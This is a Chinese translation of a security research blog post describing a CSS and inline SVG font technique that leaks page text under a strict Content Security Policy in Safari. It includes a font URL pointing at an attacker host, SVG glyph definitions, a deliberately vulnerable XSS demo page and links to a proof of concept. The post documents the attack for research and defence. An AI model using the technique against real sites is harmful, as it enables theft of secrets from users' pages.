利用CSS和SVG字体实现数据窃取的技术解析

本文详细介绍了如何利用CSS和SVG字体组合技术绕过内容安全策略限制,实现页面敏感数据的窃取。通过具体的技术实现原理和实际案例演示,展示了这种攻击手法的可行性和防护重要性。

数据通过CSS+SVG字体窃取

这篇文章将展示SVG字体和CSS如何被用于读取页面文本内容。目前已有多种已知的通过CSS读取页面文本内容的方法。Juan Manuel Fernández在以下文章中全面介绍了这些已知技术:

CSS注入原语 :: DoomsDay Vault

这些技术在某些情况下对攻击者很有用,例如当输入被清理且只能使用有限的HTML标签时,或者由于内容安全策略(CSP)限制而无法使用JavaScript时。

我今天要介绍的技术就是其中之一。基本思路与Michał Bentkowski提出的字体连字技巧相同:

以绝佳风格窃取数据 - 如何利用CSS攻击Web应用程序 - research.securitum.com

技术原理基本相同,但我从未见过任何文章提及这一点,我认为值得一提,因为这里解释的技术在特定情况下可能很有用,例如当由于CSP限制而无法使用Michał的技术时,所以我写了这篇文章。

好吧,在我的日语博客文章中,我详细解释了他的技巧,但阅读本文的人可以阅读英语,所以请先阅读他的文章 :)

好的,你已经读过了吧?从他的文章中你了解到,他使用了从SVG字体转换而来的WOFF字体。在我的技巧中,我直接使用SVG字体而不进行转换。Michał说"浏览器已停止支持字体中的SVG格式(因此需要使用WOFF格式)",但事实上,Safari仍然支持它。

毕竟,我要介绍的技巧只是用SVG字体替换了他的技巧。但我仍然想介绍这个技巧的原因是,即使CSP限制阻止了字体加载,SVG字体仍然可以使用。也就是说,即使CSP禁止加载字体,SVG字体也允许读取文本内容。这是因为SVG字体不仅可以从URL加载(像WOFF字体一样),而且所有字体组件都可以内联定义,无需从URL加载。

让我们看看如何替换Michał的技巧。

在他的技巧中,WOFF字体通过<style>@font-face加载:

1
2
3
4
5
6
7
<style>
@font-face {
    font-family: "hack";
    src: url(http://192.368.13.37:3001/font/%22/0)
}
[...]
</style>

这个样式可以用以下内联SVG替换:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000"></font-face>
<glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph>
<glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph>
[...]
</font>
</defs>
</svg>

现在,如果通过CSS将font-family属性设置为"hack",SVG字体将应用于SVG外部的目标文本。即使设置了font-src 'none',这也不会被CSP阻止。(注意,为了观察泄露的数据,此技巧与Michał的技巧一样使用背景图像请求,因此至少必须在img-src指令中允许可以观察请求的主机。)

我将向你展示PoC。当存在如下漏洞页面时:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:">
</head>
<body>
<script id="leakme" nonce="random">
const secret = "573ba8e9bfd0abd3d69d8395db582a9e";
</script>
<script nonce="random">
const params = (new URL(document.location)).searchParams;
const xss = params.get('xss');
if(xss){
    document.write(xss);
}
</script>
</body>
</html>

我将展示SVG字体如何泄露"secret"变量。

你可以通过在Safari中打开以下URL并单击"Go"按钮来重现它。

PoC: https://l0.cm/svg_font/poc.php

所有代码可以在以下位置找到:https://github.com/masatokinugawa/css-exfiltration-svg-font

如果PoC正常工作,如下面的视频所示,将打开多个新窗口,等待一段时间后,秘密变量的字符串将逐渐显示在具有"Go"按钮的页面上,如"573b …"。

除了使用SVG字体外,它与Michał的PoC几乎相同,但有一些变化。在他的PoC中,他将目标页面加载到iframe中,但在我的PoC中,我使用了window.open()代替。这是因为Safari现在默认阻止所有第三方cookie,我认为使用iframe的攻击对Safari来说不太现实。此外,我改变了传递数据的方式。同样由于第三方cookie阻止,加载背景图像时无法设置cookie,因此我使用了带有URL参数的会话ID。

顺便说一下,如果你习惯使用Chrome,你可能会想知道为什么一次点击会打开多个新窗口。这是因为Safari有弹出窗口阻止程序,但对一次点击可以打开的窗口数量没有限制。多亏了这一点,可以使用多个窗口高效地尝试读取数据。

就是这样。

感谢阅读!希望这篇文章对你有帮助。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计